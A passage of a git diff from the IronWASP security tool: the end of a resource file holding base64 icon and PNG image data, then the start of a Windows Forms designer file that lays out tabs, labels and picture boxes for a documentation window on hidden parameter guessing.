AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////b////////////////////2////////////////////5n///////////////////8Y// + //////////////////GP///////////////////hh///////////////////4Yf///////////////// + /8GD///////////////////Bg///////////////////gYH//////////////////4GB//////////// + //////8BgP//////////////////AYD//////////////////gGAf/////////////////4BgH////// + ///////////8AYA//////////////////AGAP/////////////////gBgB/////////////////4AYAf + ////////////////8AGAD/////////////////ABgA/////////////////gAYAH//////////////// + 4AGAB////////////////8ABgAP////////////////AAYAD////////////////gAGAAf////////// + /////4ABgAH///////////////8AAYAA///////////////+AAGAAH///////////////gABgAB///// + //////////wAAYAAP//////////////8AAGAAD//////////////+AABgAAf//////////////gAAYAA + H//////////////wAAGAAA//////////////8AABgAAP/////////////+AAAYAAB//////////////g + AAGAAAf/////////////wAABgAAD/////////////8AAAYAAA//////////////AAAGAAAP///////// + ////4AABgAAH/////////////2AAAYAABv////////////4wAAGAAAx////////////+MAABgAAMf/// + /////////BgAAYAAGD////////////wYAAGAABg////////////4DAABgAAwH///////////+AwAAYAA + MB////////////AGAAGAAGAP///////////wBgABgABgD///////////4AMAAYAAwAf//////////+AD + AAGAAMAH///////////AAYABgAGAA///////////wAGAAYABgAP//////////4AAgAGAAQAB//////// + //+AAMABgAMAAf//////////AABAAYACAAD//////////wAAYAGABgAA//////////4AAGABgAQAAH// + ///////+AAAwAYAMAAB//////////AAAMAGACAAAP/////////wAABgBgBgAAD/////////4AAAYAYAY + AAAf////////+AAADAGAMAAAH/////////AAAA////AAAA/////////wAAAH///gAAAP////////4AAA + D///4AAAB////////+AAAAwAADAAAAf////////AAAAYAAAQAAAD////////wAAAGAAAGAAAA/////// + /4AAADAAAAgAAAH///////+AAAAwAAAMAAAB////////AAAAYAAABAAAAP///////wAAAGAAAAYAAAD/ + //////4AAADAAAACAAAAf//////+AAAAwAAAAwAAAH///////AAAAYAAAAEAAAA///////wAAAGAAAAB + gAAAP//////4AAADAAAAAIAAAB//////+AAAAwAAAADAAAAf//////AAAAYAAAAAQAAAD//////wAAAG + AAAAAGAAAA//////4AAADAAAAAAgAAAH/////+AAAAwAAAAAMAAAB//////AAAAIAAAAABAAAAP///// + wAAAGAAAAAAYAAAD/////4AAABAAAAAACAAAAf////+AAAAwAAAAAAwAAAH/////AAAAIAAAAAAEAAAA + /////wAAAGAAAAAABgAAAP////4AAABAAAAAAAIAAAB////+AAAAwAAAAAADAAAAf////AAAAMAAAAAA + AQAAAD////wAAAGAAAAAAAGAAAA////4AAABgAAAAAAAgAAAH///+AAAAwAAAAAAAMAAAB////AAAAMA + AAAAAABAAAAP///wAAAGAAAAAAAAYAAAD///4AAABgAAAAAAACAAAAf//+AAAAwAAAAAAAAwAAAH///A + AAAMAAAAAAAAEAAAA///wAAAGAAAAAAAABgAAAP//4AAABgAAAAAAAAIAAAB//+AAAAwAAAAAAAADAAA + Af//AAAAMAAAAAAAAAQAAAD//wAAAGAAAAAAAAAGAAAA//4AAAH4AAAAAAAAH4AAAH/+AAAH/wAAAAAA + AP/gAAB//AAAP//wAAAAAA///AAAP/wAAf///gAAAAB///+AAD/4AAf////gAAAH////4AAf+AA///// + /AAAP/////wAH/AA//////+AAf//////AA/wB///////+B///////+AP4B/////////////////4B+D/ + /////////////////wfD///////////////////D//////////////////////////////////////// + /////////////////////////////////////////////4lQTkcNChoKAAAADUlIRFIAAAEAAAABAAgG + AAAAXHKoZgAAHntJREFUeNrtnXmcXEW1x7/DIiiogLIoKmprfC68RhtQQARcQCh0Hj73XcSlWcIq4BLC + km0SEmJHGSALCVtA0dA+CkFFkV0w6BAQISSEsG9hJ9sk8/6oipn03Orp5d5bt26f7+fDh8/nVnf1uXdy + f+fUdg4IgiAIgiAIgiAIgiAIgiAIgiAIgiAIgpAXuqIuKqV2Br4DnA/cpbUe8G2oIAjNoZTqAnYGDgWm + a63vrv3MJo7vLgA+BIwEblFKzQQu11q/5PumBEGoj1LqtcDngcOADwPXAXdHfbarTif7An8ZdOlZ4FJg + FjBfogJByA7W2+8KfBf4ErCVbRoA9tFa3xD1va5hOrwW2K+maS1wBzAD+LXWepnvmxeETkUp9Qbgixhv + vwuwUc1H/gjsr7WO/H7XMJ3vC/y5zueeB34DzARudv2IIAjxYZ3znpiX/nPA6xwfHQA+prW+0dXXcAIA + Jgr4eAN23YWJCuZqrZ/0/ZAEIW8opbYHvop58d/XwFf+ABxQzzF3DdeDUmofzFzAsJ+1vAxUMWJwg9a6 + 3+9jE2oZOX/RxsB7AYXxElcB91RKhTW+bRM2RCm1CbAP5qX/DLBFg18dAPbWWt9U70ONCEAXZhzxiRbs + vxezlHih1vrRFJ+bUMPI+Yu2APYGDgY+DRRqPrIIuAbQwPWVUkFWfDyilNoR+CbwbWBEC10M6/2hQa+u + lNob+Gujn49gJXAlZq7gWq31qkSemvAfRs5f1AW8Fdgf89Lvh3usWMuLwPWYv9k1wIOVUmGt73vKO0qp + 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 + + + \ No newline at end of file diff --git a/Iron/Docs/DocForHiddenParameterGuesser.Designer.cs b/Iron/Docs/DocForHiddenParameterGuesser.Designer.cs new file mode 100644 index 0000000..b5694df --- /dev/null +++ b/Iron/Docs/DocForHiddenParameterGuesser.Designer.cs @@ -0,0 +1,330 @@ +namespace IronWASP.Docs +{ + partial class DocForHiddenParameterGuesser + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(DocForHiddenParameterGuesser)); + this.label1 = new System.Windows.Forms.Label(); + this.tabControl1 = new System.Windows.Forms.TabControl(); + this.tabPage2 = new System.Windows.Forms.TabPage(); + this.pictureBox2 = new System.Windows.Forms.PictureBox(); + this.label3 = new System.Windows.Forms.Label(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + this.label2 = new System.Windows.Forms.Label(); + this.tabPage3 = new System.Windows.Forms.TabPage(); + this.pictureBox3 = new System.Windows.Forms.PictureBox(); + this.label4 = new System.Windows.Forms.Label(); + this.tabPage4 = new System.Windows.Forms.TabPage(); + this.pictureBox5 = new System.Windows.Forms.PictureBox(); + this.label7 = new System.Windows.Forms.Label(); + this.pictureBox4 = new System.Windows.Forms.PictureBox(); + this.label5 = new System.Windows.Forms.Label(); + this.tabPage5 = new System.Windows.Forms.TabPage(); + this.pictureBox7 = new System.Windows.Forms.PictureBox(); + this.pictureBox6 = new System.Windows.Forms.PictureBox(); + this.label6 = new System.Windows.Forms.Label(); + this.tabControl1.SuspendLayout(); + this.tabPage2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).BeginInit(); + this.tabPage1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.tabPage3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).BeginInit(); + this.tabPage4.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox5)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox4)).BeginInit(); + this.tabPage5.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox7)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox6)).BeginInit(); + this.SuspendLayout(); + // + // label1 + // + this.label1.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label1.Location = new System.Drawing.Point(12, 2); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(860, 185); + this.label1.TabIndex = 6; + this.label1.Text = resources.GetString("label1.Text"); + // + // tabControl1 + // + this.tabControl1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.tabControl1.Controls.Add(this.tabPage2); + this.tabControl1.Controls.Add(this.tabPage1); + this.tabControl1.Controls.Add(this.tabPage3); + this.tabControl1.Controls.Add(this.tabPage4); + this.tabControl1.Controls.Add(this.tabPage5); + this.tabControl1.Location = new System.Drawing.Point(2, 187); + this.tabControl1.Margin = new System.Windows.Forms.Padding(0); + this.tabControl1.Name = "tabControl1"; + this.tabControl1.Padding = new System.Drawing.Point(0, 0); + this.tabControl1.SelectedIndex = 0; + this.tabControl1.Size = new System.Drawing.Size(882, 374); + this.tabControl1.TabIndex = 7; + // + // 